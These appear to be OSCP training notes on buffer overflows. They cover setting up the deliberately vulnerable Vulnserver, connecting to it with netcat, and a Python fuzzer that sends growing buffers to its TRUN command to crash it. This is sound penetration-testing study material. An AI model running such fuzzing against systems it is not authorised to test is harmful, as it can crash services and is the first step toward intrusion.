OSCP Learning Notes - Buffer Overflows(1)

Introduction to Buffer Overflows

Anatomy of Memory

Anatomy of the Stack

Fuzzing

Tools: Vulnserver - https://github.com/stephenbradshaw/vulnserver

Immunity Debuger - https://www.immunityinc.com/products/debugger/

Vulnserver Test

1. Open the vulnserver program on windows os.

2. Connect to the vulnserver from Kali Linux.

nc -nv 10.0.0.XX 9999

3.Write the Python fuzzer test script on Kali Linux

 1 #!/usr/bin/python
 2 import socket
 3 import sys
 4 
 5 buffer=["A"]
 6 counter=100
 7 while len(buffer) <= 30:
 8     buffer.append("A"*counter)
 9     counter=counter+200
10 
11 for string in buffer:
12     print "Fuzzing vulnserver with %s bytes" % len(string)
13     s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14     connect=s.connect(('10.0.0.XX',9999))
15     s.send('TRUN /.:/' + string)
16     s.close()